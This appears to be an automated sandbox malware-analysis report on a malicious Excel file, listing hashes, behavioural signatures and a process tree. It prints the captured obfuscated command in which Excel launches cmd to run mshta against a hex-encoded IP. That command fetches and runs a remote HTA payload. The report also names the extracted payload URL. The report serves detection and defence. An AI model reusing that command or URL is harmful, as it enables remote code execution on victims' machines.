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Analysis
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max time kernel
133s -
max time network
134s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
11/11/2024, 21:32
Behavioral task
behavioral1
Sample
eaa4be298e795b691ff83d9d38d102c8fec068154a209827ae1afe558a4d75c3.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
eaa4be298e795b691ff83d9d38d102c8fec068154a209827ae1afe558a4d75c3.xls
Resource
win10v2004-20241007-en
General
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Target
eaa4be298e795b691ff83d9d38d102c8fec068154a209827ae1afe558a4d75c3.xls
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Size
101KB
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MD5
066bbe43e6df1d6cdb2d416e867070b9
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SHA1
96298c1e926d123558879bf6ab016e87c4a0bf2a
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SHA256
eaa4be298e795b691ff83d9d38d102c8fec068154a209827ae1afe558a4d75c3
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SHA512
a21679b025901211157a89afdfd6c4519df99a30afa25bcf1963a38dde11765e018a9e3e35cb7e6f9626fe73e57c73c0e228b4eb929ec547a95e4c077e1500f3
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SSDEEP
3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK
Malware Config
Extracted
http://185.7.214.7/fer/fe3.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 648 4916 cmd.exe 82 -
Blocklisted process makes network request 1 IoCs
flow pid Process 22 684 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4916 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 4916 EXCEL.EXE 4916 EXCEL.EXE 4916 EXCEL.EXE 4916 EXCEL.EXE 4916 EXCEL.EXE 4916 EXCEL.EXE 4916 EXCEL.EXE 4916 EXCEL.EXE 4916 EXCEL.EXE 4916 EXCEL.EXE 4916 EXCEL.EXE 4916 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4916 wrote to memory of 648 4916 EXCEL.EXE 86 PID 4916 wrote to memory of 648 4916 EXCEL.EXE 86 PID 648 wrote to memory of 684 648 cmd.exe 89 PID 648 wrote to memory of 684 648 cmd.exe 89
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\eaa4be298e795b691ff83d9d38d102c8fec068154a209827ae1afe558a4d75c3.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4916 -
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:648 -
C:\Windows\system32\mshta.exemshta http://0xb907d607/fer/fe3.html3⤵
- Blocklisted process makes network request
PID:684
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD5ef716c16bc1e7c2898c42552f37499b0
SHA1d44316c4bdeabccab449dd4998f937cb46738e9c
SHA2565a3b713405ba29778ae330d1a715bc13139ae31ed51c9e11b7996767972fb282
SHA512a69c2f08760aa88b054d4343108975148dc6842b318643d63595eca0436b01a0794dbec4acb195683aff8a6e66f651f9b47d08fc49eac8e29ed0e4ae06ce4244